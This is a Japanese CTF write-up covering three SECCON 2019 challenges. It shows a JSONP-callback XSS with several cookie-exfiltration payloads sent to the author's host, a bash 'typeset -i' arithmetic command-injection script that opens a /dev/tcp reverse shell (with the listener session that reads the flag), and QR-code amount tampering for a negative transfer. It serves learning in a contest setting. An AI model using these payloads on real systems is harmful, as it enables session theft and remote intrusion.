そもそもソースコードすら見ていなかった。SPAなので複数見る必要もなく、Web問なので「ソースをとりあえず見てみる」というのは定石か。

上からhtmlをざっと読んでいくと、pathによって場合分けがされており、home,report,contestのページの処理が書かれています。

<p class="flag">
    <span v-if="flag === null">
        <span v-for="i in 10" :key="i" class="flag-shaken">?</span>
    </span>
    <span v-else>
        {{flag}}
    </span>
</p>

の箇所から、?が震える表示になっていた SPA 問題は、flag: null だったと思われます。

その後、vueのコードがだーっと書かれています。
この中から怪しい箇所を探してみると、

this.contest = await $.getJSON(`/${contestId}.json`)

この部分がちょい怪しい。${contestId}はその後の

const contestId = location.hash.slice(1);

なので、urlの{#hogehoge}を置き換えることで、任意のjsonが呼び出せそう。
やってみます。

f:id:kusuwada:20191101032459p:plain

おっ。testページが勝手に出てきました。もちろん何もコンテンツがないので No flags.

ここに任意のjsonを送り込むために、自サーバーのjsonを返すパスにアクセスさせます。表記方法はこんな感じ。
http://spa.chal.seccon.jp:18364/#/{自サーバーのjsonを返すパス}

※今回も自サーバーは持っていないので、ちょろっとmockが作れる beeceptor さんを使わさせていただきました。

{
  "name": "test seccon",
  "count": 1,
  "flags": [{
    "genre": "dummy",
    "name": "test flag",
    "point": "100",
    "flag": "dummyflag"
  }],
  "date": {
    "start": 1571891253000,
    "end": 1571891253000
  }
}

こんなjsonjsonフォーマット指定で返すように自サーバーの/dummy.jsonを設定(Response Headerに"Content-Type": "application/json"設定)し、http://spa.chal.seccon.jp:18364/#/{$kusuwada.com/dummy}へアクセスしてみると

f:id:kusuwada:20191101032530p:plain

お、それっぽいページができました。わーい。でもこれはゴールではない。

ここからはDocumentを読んで気づいたというwriteupが。凄い。方針があってるかの確証がないまま、競技中に腰を据えてdocument読もうという心境に至らない。。。

jQuery.getJSON() | jQuery API Documentation

こちら JQuerygetJSONのドキュメント。こちらによると、

JSONP

If the URL includes the string "callback=?" (or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of the jsonp data type in $.ajax() for more details.

ということで callback=?的なものがrequestに含まれていた場合、JSONPとして扱われるそうです。
JSONPで調べてみたところ、注意喚起の記事がたくさんヒットしました。

JSONPは危険なので禁止 – yohgaki's blog

JSONP (JSON with padding) とは、scriptタグを使用してクロスドメインな(異なるドメインに存在する)データを取得する仕組みのことである。HTMLのscriptタグ、JavaScript(関数)、JSONを組み合わせて実現される。

<script type='text/javascript' 
src='http://another.domain.example.com/getjson?callback=parseResponse'>

このような感じでコールバックを指定して使います。

簡単に説明すると、<script>タグでJSONを呼び出すとコールバック関数を使ってJSONデータを処理します。このコールバック関数を攻撃にすることにより、攻撃者は情報を不正に取得できます。

[気になる]JSONPの守り方 (1/3):教科書に載らないWebアプリケーションセキュリティ(4) - @IT

JSONP内ではcallbackという関数を呼び出していますので、事前にcallbackという名前の関数を用意しておくことで、提供されたJSONデータをJavaScriptによるアプリケーション側で簡単に利用できます。

引用ばかりになってしまいましたが、これを利用するとjavascriptを実行させることができそうです。

ということで、下記のコードをbodyに返すcallback用のページを作ってあげます。

alert(1);//

その後のコードを打ち消すための、末尾のコメントアウト//を忘れずに。刺さればアラートが表示されるはずです。
http://spa.chal.seccon.jp:18364/#/{$kusuwada.com}/callback=?& にアクセスしてみます。

f:id:kusuwada:20191101032702p:plain

alertが実行されました!XSS刺さっています!あとは、alertを表示させるのではなくcookieをurlにくっつけて自サイトにアクセスさせるスクリプトに置き換えます。
せっかく環境があるので、色々試してみました。

/callback* へのアクセスに対するレスポンス↓ リダイレクト機能を使っています。

location.href='http://{$kusuwada.com}/test2?c='+document.cookie;//
location.assign('http://{$kusuwada.com}/test2?c='+document.cookie);//
document.location='http://{$kusuwada.com}/test2?c='+document.cookie;//
(new Image).src='http://{$kusuwada.com}/test2?c='+document.cookie;//

これらのコードが刺さりました٩(๑❛ᴗ❛๑)۶
Web問ってどうやってフィルタを回避するか考える問題が多いことがわかったので、使えるパターンは増やしておきたい。

上記のスクリプトを返すように/callbackを設定したあと、下記に自分でアクセスしてみます。

http://spa.chal.seccon.jp:18364/#/{$kusuwada.com}/callback=?&

適当にcookie(test: piyopiyo)を入れて確かめてみましたが、/test2?c=test_cookie=piyopiyoみたいなアクセスが来ています。行けそうです。
上記のurlをadminへのreport欄に送りつけると、adminのcookieが送られてきました!

f:id:kusuwada:20191101032728p:plain

実はvueのコードをちゃんと見たのはこれが初めてでした。SPAも。気になりつつ何もしていなかったFWに強制的に触れられるのも、CTFのいいところですねー!

[Web] SECCON_multiplicater

http://multiplicater.chal.seccon.jp/cgi-bin/

指定のリンクにアクセスすると

f:id:kusuwada:20191101032754p:plain

こんな感じ。ただの計算機のようです。実際数値を入れると計算してくれます。

配布されたcgiファイル

#!/bin/bash
 
SECCON_BANNER="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"

typeset -i var1
typeset -i var2

echo "Content-Type: text/html"
echo ""

cat << SECCON
<!doctype html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
<title>SECCON multiplicater</title>
</head>
<body>

<div class="container-fluid">
  <div class="row">
    <div class="ml-2">
      <h1><img src="data:image/png;base64,$SECCON_BANNER" /> multiplicater</h1>
    </div>
  </div>
</div>

<form class="form-inline" action="$SCRIPT_NAME" method="post" enctype="application/x-www-form-urlencoded">
  <div class="container-fluid">
    <div class="row">
      <div class="ml-3">
        <input class="form-control" type="text" name="var1" size="5" placeholder="1-999" />
      </div>
      <div  class="ml-2" >
      *
      </div>
      <div  class="ml-2" >
       <input class="form-control" type="text" name="var2" size="5" placeholder="1-999" />
      </div>
      <div  class="ml-3" >
       <button type="submit" class="btn btn-primary">calculate</button>
      </div>
    </div>
  </div>
</form>

<div class="container-fluid">
  <div class="row">
    <div class="ml-3">
      <h2>
SECCON

if [ "$REQUEST_METHOD" = "POST" ]
then
  POST_STRING=$(cat)

  var1="$(echo $POST_STRING|awk -F'&' '{print $1}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"
  var2="$(echo $POST_STRING|awk -F'&' '{print $2}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"

  echo  "$var1" '*' "$var2 = $((var1 * var2))"
fi

cat << SECCON
      </h2>
    </div>
  </div>
</div>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</body>
</html>
SECCON

計算結果は、inputしたvar1, var2echo "$var1" '*' "$var2 = $((var1 * var2))" して出してあげているだけなので、この出力をいい感じにhackできると flag.txtechoさせる、みたいなことができるのかもしれない。

どうも

typeset -i var1
typeset -i var2

...(中略)...

if [ "$REQUEST_METHOD" = "POST" ]
then
  POST_STRING=$(cat)

  var1="$(echo $POST_STRING|awk -F'&' '{print $1}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"
  var2="$(echo $POST_STRING|awk -F'&' '{print $2}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"

  echo  "$var1" '*' "$var2 = $((var1 * var2))"
fi

ここの処理をじっくり読んだら何か出てきそう…。
とぼんやり考えたところでタイムアップ。val1, val2の作り方を確認してみます。

echo $POST_STRING       # 入力を出力
awk -F'&' '{print $1}'  # '&' を区切り文字として区切り、1番目の要素を出力
awk -F'=' '{print $2}'  # '=' を区切り文字として区切り、2番目の要素を出力
nkf -w --url-input      # urlデコードし、utf-8に変換して出力
tr -d a-zA-Z            # a-zA-Z を削除する

例えばユーザー入力が 1,3だった場合は val1=1&val2=3という入力になり、val1 = 1, val2 = 3 となりますが、a,bだった場合は val1 = 0, val2 = 0 , a3, b5 だった場合は val1 = 3, val2 = 5 として処理されます。
ここで、最後の tr ではアルファベットしか削除されないことに注目です。その前にurlデコードされますが、基本的に数字と記号は入力可能なようです。試しに 4+1, 2 と入れてみると、出力は 5 * 2 = 10 となり、 4+1 がそのまま処理されていることがわかりました。

これはもしかして、難読シェル芸みたいに echo $'\103' みたいに 8進数で表示させてみると、アルファベットが打てるやつ?!

と思ったけどここまで。普通に入れるだけではダメ。
自力では埒が明かないので、下記のwriteupを参考にさせていただきました。

両者とも、どさにっき こちらのブログ記事にリンクが貼られています。

変数nは(typeset -i nにより)整数型に宣言されているため、n="$1" は「$1n に代入する」ではなく、「$1 を算術式として再帰評価した上でその結果を n に代入する」という動作になる。

今回も

typeset -i var1
typeset -i var2

と宣言されているため、上記のnと同じことがval1, val2に当てはまります。だから先程4+1などと入れた時に算術式として評価されて代入されたんですね。

ローカルでこの挙動を試すために、下記のような簡単なスクリプトを組んでみます。

bash_test.sh

#!/bin/bash

typeset -i var1
var1="1+2+3+4+5+6+7+8+9"
echo $var1

実行してみましょう。

$ chmod 755 bash_test.sh
$ ./bash_test.sh 
45

他のコマンドも試してみます。

#!/bin/bash

typeset -i var1
var1="$(ls /)"
echo $var1

実行結果

$ ./bash_test.sh 
./test.sh: 行 3: 0
bin
boot
dev
etc
home
...

なるほど!これで任意のコマンドが実行させられそうなことがわかってきました。

多分、サーバー上にflag.txt的なものがあって、それを探して表示させることが必要なのです…。lsで表示させたり探した結果をこっちに出力してほしい。もう一度writeupたちを読んでみます。

参考にしたwriteup2つとも _[$({commands})] というのをvarに突っ込んでいます。なぜ?

どうやら、配列のindex (array[i] みたいなところの i) の部分も算術式の評価が行われるらしく、ここに上記で試したようなコマンドを入れてあげることで、どんなコマンドも算術式評価させて実行できます。配列名が両者とも _ でかぶったのは、配列名には アルファベット・もしくはアンダースコアから始まる文字列しか使えない、かつアルファベットが使えないからでしょう。___みたいな配列名でもOKです。。。ってこれやっぱり難読化シェル芸で見たやつだぞ…。

参考: Bash $((算術式)) のすべて - Qiita

何か表示させるコマンドについては出力が確認できないため刺さっているかわかりませんが、ここでコマンドが刺さっているかどうかを確認するために sleep 3 を入れてみます (st98さんのwriteupより)
最初の方でつぶやいた通り、アルファベットでコマンドは入力できないので、octetになおしてあげて入力します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is referenced to https://st98.github.io/diary/posts/2019-10-20-seccon-online-ctf.html

import requests
import urllib.parse

target_url = 'http://multiplicater.chal.seccon.jp/cgi-bin/'

def to_oct_cmd(cmd):
    oct_cmd = "$'"
    for c in cmd:
        oct_cmd += '\\' + oct(ord(c))[2:].zfill(3)
    return oct_cmd + "'"

oct_cmd = to_oct_cmd('sleep')
attack_var = '_[$(' + oct_cmd + ' 3)]'
print(attack_var)
requests.post(target_url, data='var1=' + urllib.parse.quote(attack_var) + '&var2=1')
print("catch response")

実行結果

$ python sleep.py 
_[$($'\163\154\145\145\160' 3)]
catch response

responseが返ってくるまで3秒ほどウエイトがあったように思います。刺さってますね!

次は、コマンドの出力を見る方法を考えます。

では、リバースシェルでフラグを探してみましょう。

(。-`ω´-)??リバースシェル、存在自体は知っていたものの、pwntoolsを使わずにやってみたことなかったので、今回はここから。ということで下記にリバースシェルについてまとめてみました。

kusuwada.hatenablog.com

クライアントはサーバーからの接続をlistenして待ち構えており、サーバーに接続に来させます。サーバーから、shellを触らせてあげるような接続を投げさせることができれば、クライアント側からサーバー側の操作が可能になります。

簡単なリバースシェルの環境構築、実験は上記リンク先にまとめてみたので割愛します。
最初のbashコマンドのoption -c についてはこちらがわかりやすかったです。

shellの-cオプションについてUbuntuのsh(dash)、bash、zshはそれぞれ違う挙動をする - Qiita

st98さんのwriteupをガンガン参考にさせいていただきつつ、sleepのときのやつに reverse shell のコマンドを入れたpythonスクリプト。※焼き直してるのに劣化してるのは言及しないで下さい…

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is referenced to https://st98.github.io/diary/posts/2019-10-20-seccon-online-ctf.html

import requests
import urllib.parse

target_url = 'http://multiplicater.chal.seccon.jp/cgi-bin/'
my_ip = '{my.ip.address}'
port = '8000'

commands = ["bash", "-c", "bash -i >& /dev/tcp/" + my_ip + '/' + port + " 0>&1"]

def to_oct_cmd(cmd):
    oct_cmd = "$'"
    for c in cmd:
        oct_cmd += '\\' + oct(ord(c))[2:].zfill(3)
    return oct_cmd + "'"

oct_cmds = []
for cmd in commands:
    oct_cmds.append(to_oct_cmd(cmd))
attack_var = '_[$(' + ' '.join(oct_cmds) + ')]'
print(attack_var)
requests.post(target_url, data='var1=' + urllib.parse.quote(attack_var) + '&var2=1')

上記スクリプトを実行した際の、attaker側端末の実行結果。※スクリプトの実行自体は、attacker端末・IPで実行する必要はありません。

$ nc -nlvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
# (ここでvictim側からの接続)
Ncat: Connection from 133.242.22.100.
Ncat: Connection from 133.242.22.100:54408.
bash: cannot set terminal process group (11384): Inappropriate ioctl for device
bash: no job control in this shell
# (ReverseShell開始)
www-data@ubuntu:/usr/lib/cgi-bin$ ls
ls
index.cgi
www-data@ubuntu:/usr/lib/cgi-bin$ pwd
pwd
/usr/lib/cgi-bin
www-data@ubuntu:/usr/lib/cgi-bin$ ls -la
ls -la
total 16
drwxr-xr-x  2 root root 4096 Oct  8 20:22 .
drwxr-xr-x 59 root root 4096 Oct  8 20:20 ..
-r-xr-xr-x  1 root root 4226 Sep  7 10:56 index.cgi
# (なんにも無いので全部見てみる)
www-data@ubuntu:/usr/lib/cgi-bin$ ls -la /
ls -la /
total 88
drwxr-xr-x  22 root root  4096 Oct  8 20:22 .
drwxr-xr-x  22 root root  4096 Oct  8 20:22 ..
drwxr-xr-x   2 root root  4096 Oct  8 16:02 bin
drwxr-xr-x   3 root root  4096 Sep 18 14:46 boot
drwxr-xr-x  17 root root  3820 Oct 19 11:30 dev
drwxr-xr-x  90 root root  4096 Oct 20 15:35 etc
-r--r--r--   1 root root    29 Oct  2 21:47 flag
drwxr-xr-x  13 root root  4096 Oct 17 19:13 home
lrwxrwxrwx   1 root root    33 Sep 18 14:46 initrd.img -> boot/initrd.img-4.15.0-64-generic
lrwxrwxrwx   1 root root    33 Sep 18 14:38 initrd.img.old -> boot/initrd.img-4.15.0-55-generic
drwxr-xr-x  18 root root  4096 Sep 18 14:40 lib
drwxr-xr-x   2 root root  4096 Sep 18 14:37 lib64
drwx------   2 root root 16384 Sep 18 14:37 lost+found
drwxr-xr-x   3 root root  4096 Sep 18 14:37 media
drwxr-xr-x   2 root root  4096 Aug  6 03:30 mnt
drwxr-xr-x   2 root root  4096 Aug  6 03:30 opt
dr-xr-xr-x 147 root root     0 Oct 19 11:30 proc
drwx------   3 root root  4096 Oct 19 13:48 root
drwxr-xr-x  19 root root   620 Oct 20 10:46 run
drwxr-xr-x   2 root root  4096 Sep 18 14:46 sbin
drwxr-xr-x   2 root root  4096 Aug  6 03:30 srv
dr-xr-xr-x  13 root root     0 Oct 20 01:43 sys
drwxrwxrwt   2 root root  4096 Oct 29 10:47 tmp
drwxr-xr-x  10 root root  4096 Sep 18 14:37 usr
drwxr-xr-x  12 root root  4096 Oct  8 20:20 var
lrwxrwxrwx   1 root root    30 Sep 18 14:46 vmlinuz -> boot/vmlinuz-4.15.0-64-generic
lrwxrwxrwx   1 root root    30 Sep 18 14:38 vmlinuz.old -> boot/vmlinuz-4.15.0-55-generic
www-data@ubuntu:/usr/lib/cgi-bin$ cat /flag
cat /flag
SECCON{Did_you_calculate_it?}

これ競技中に解けるのすごすぎ…。

[Crypto] ZKPay

http://153.120.18.131/

指定のurlを訪れてみると、こんなサイトが。あ、去年出た仮想通貨系の問題に似てるけど復習してない…。
そして誰か「絶対〇〇pay出る」って言ってたけど出た…!
ログイン画面。

f:id:kusuwada:20191101032915p:plain

Register画面。

f:id:kusuwada:20191101033003p:plain

※registerではuser名の重複が許されない。

registerしてみます。

f:id:kusuwada:20191101033016p:plain

home画面では入金履歴が見れます。最初にadminから500もらったようです。
ここで、使うかわかりませんがadminのaddressがわかります。

f:id:kusuwada:20191101033037p:plain

Address is e1bf7aa7e80687c9e80dfe20d79934c547d1c3fc34a503f06eb48198b121b55a

ほか、Sendで送金のためのQRコードを作成したり、ReceiveQRコードを読み取ってポイントが受け取れるようです。

f:id:kusuwada:20191101033138p:plain

f:id:kusuwada:20191101033148p:plain

まずは$100をsendするためのQRコードを作成してみます。

f:id:kusuwada:20191101033205p:plain:w400

読み取るとこんな感じ。

username=kusuwada&amount=100&proof=MGIsKV6scO6II773yrPQWLFqx5FgHvNjmfXQVvbpEoUeMCAwDv6LDqT3rmK2Fcq/g8Mf9RQ13UKPDjQ/wv/RWs+zei8wCjBqcVw0GJL8oLUayogtrc83PjlQuwb3oql0FDkesGnnHGeNGeyZIf1UCA/0B/KsaDP/sMt1+1vUzo3UiaFYCEAoMCAwFSUH33j5rH7njonCopXYLsa7nVvTr6brnKM4LDQwKwIwCjAam+CYuwgrzaiE9JaVx2CoP/x19Kgy1vTd30UpmhGdGDAgMEaIgk7pU1iao2nwXilLmJ/RDDgHK/x1hsuGI9/sTLIqMQowvp4YMHhQsJcNubtyTfF6s3xEN3qTBeRkMDPQGqsGXiUwCjASCXJEU1Y2SMYCRIq8aqn6FTiqRaj4kpTYhkaIl6kpMDAK&hash=d939f58a14a88a4eeb748fc0cbb65c6a28ea0de3cc5972c8c6581210a56ed7d6

このQRコードをrecieveしてみると、自分から自分への送金処理が完了しました。まぁ、なので残高は変わっていません。

方針としては、adminが$1,000,00以上送金するようなQRコードを捏造して、それを recieve してやるのが良さそう。が、このproofというのが捏造できるか鍵になりそうです。

SECCONなのでこれはないだろうと思いつつ、Send機能の時に負の数(-100)を入れてみると、100になってQRコードが生成されました。また、1+1と入れると11に。この辺を利用して大金をゲットできないかとちょっと触ってみましたが、大きめの数値を入れると Don't cheat! と牽制されてしまいます。

競技中はここで時間切れ。Crypto問題だし、ちゃんと最初の方針で行ったほうが良さそうだなぁ。と思ってwriteup読んだら、それ必要なかったみたい!!!金額を買えてもproofは変わらない様子。もうちょっと試行錯誤したら良かったよ!SECCONだから無理かと思って諦めちゃったよ!!

Send機能からは大きい負の値を入れるとDon't cheet!と怒られるので、自分で通常のSendQRコードのamount-1000000に書き換えてQRコードを再生成します。

username=kusuwada&amount=1000000&proof=MGIsKV6scO6II773yrPQWLFqx5FgHvNjmfXQVvbpEoUeMCAwDv6LDqT3rmK2Fcq/g8Mf9RQ13UKPDjQ/wv/RWs+zei8wCjBqcVw0GJL8oLUayogtrc83PjlQuwb3oql0FDkesGnnHGeNGeyZIf1UCA/0B/KsaDP/sMt1+1vUzo3UiaFYCEAoMCAwFSUH33j5rH7njonCopXYLsa7nVvTr6brnKM4LDQwKwIwCjAam+CYuwgrzaiE9JaVx2CoP/x19Kgy1vTd30UpmhGdGDAgMEaIgk7pU1iao2nwXilLmJ/RDDgHK/x1hsuGI9/sTLIqMQowvp4YMHhQsJcNubtyTfF6s3xEN3qTBeRkMDPQGqsGXiUwCjASCXJEU1Y2SMYCRIq8aqn6FTiqRaj4kpTYhkaIl6kpMDAK&hash=d939f58a14a88a4eeb748fc0cbb65c6a28ea0de3cc5972c8c6581210a56ed7d6

f:id:kusuwada:20191101033358p:plain:w400

これを自分のアカウントで読んじゃうと、こんな感じ。

f:id:kusuwada:20191101041741p:plain

Send/Receiveには成功しているし、$-1000000 がそのまま処理されてそうなんだけど、自分のアカウントから出て自分のアカウントに入ってくるので、差し引きもとの$500

ということで、もう一つアカウントを作ってそっちでReceiveします。

f:id:kusuwada:20191101041800p:plain

Receiveした方のアカウントはものすごい借金を負いましたが、もともとのQRコードを作った方のアカウントを見ると負の値の送金に成功し、大金持ちになってました。

f:id:kusuwada:20191101033436p:plain

他にもUserをたくさん作って送らせるという手もありました。初期状態で各ユーザーは $500 持っているので $1,000,000 誰かに集めるためには 2000人。2千ユーザー作って送金させれば良さそう。ただ、おそらくこの開放の防止の為、ユーザーをRegisterするのに結構時間がかかります。これもプログラム組んで並列で走らせることができれば良さそうだけど全然Cryptoじゃない。上記の解き方も、全然Cryptoじゃなかったけど。

感想

今回も初めて見る手法や、ナイスなreference先を知れたのが良かった。更に、今まで気になりつつも全く触っていなかったSPA,Vueあたりが見れたのも個人的にはとても良かった。
更に、ReverseShellをちゃんと1からやるきっかけになり、大変勉強になりました…!

他の方々のwriteup見てみると、節々に「ドキュメントを見てみると」というのがあるので、ドキュメント探してちゃんと読むって大事なんだなと改めて思った。逆にこれができないと、やったことある問題ズバリのが出ないと対応できないので、必須スキルなんだろうな。

ところでWeb問、最初の方針が結構違ってて、違う方向に迷走しがちなんですけど経験を積むと方向もなんとなく見えてくるんですかね?シュッと正しい方針を探り当てるの、めちゃ難しくない?まだRev,Pwn,Cryptoのほうがわかりやすい…(解けないけど)